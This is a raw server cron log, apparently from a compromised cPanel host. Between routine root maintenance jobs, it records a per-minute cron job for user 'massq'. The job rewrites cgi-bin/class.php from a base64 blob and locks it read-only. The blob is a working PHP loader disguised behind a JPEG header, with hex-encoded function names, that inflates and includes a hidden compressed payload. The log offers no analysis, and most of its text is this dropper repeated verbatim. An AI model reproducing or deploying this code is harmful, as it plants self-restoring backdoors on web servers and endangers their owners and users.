Nov 15 20:27:01 server CROND[4894]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:27:01 server CROND[4895]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 20:28:01 server CROND[5154]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:29:01 server CROND[5413]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:30:02 server CROND[5676]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 20:30:02 server CROND[5679]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 20:30:02 server CROND[5681]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 20:30:02 server CROND[5680]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 15 20:30:02 server CROND[5682]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:31:01 server CROND[5994]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:32:01 server CROND[6250]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:33:01 server CROND[6506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:34:01 server CROND[6876]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:35:01 server CROND[7150]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 20:35:01 server CROND[7152]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 20:35:01 server CROND[7153]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 20:35:01 server CROND[7154]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 20:35:01 server CROND[7155]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:36:01 server CROND[7528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:37:01 server CROND[7793]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:38:01 server CROND[8059]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:39:01 server CROND[8407]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 20:39:01 server CROND[8408]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
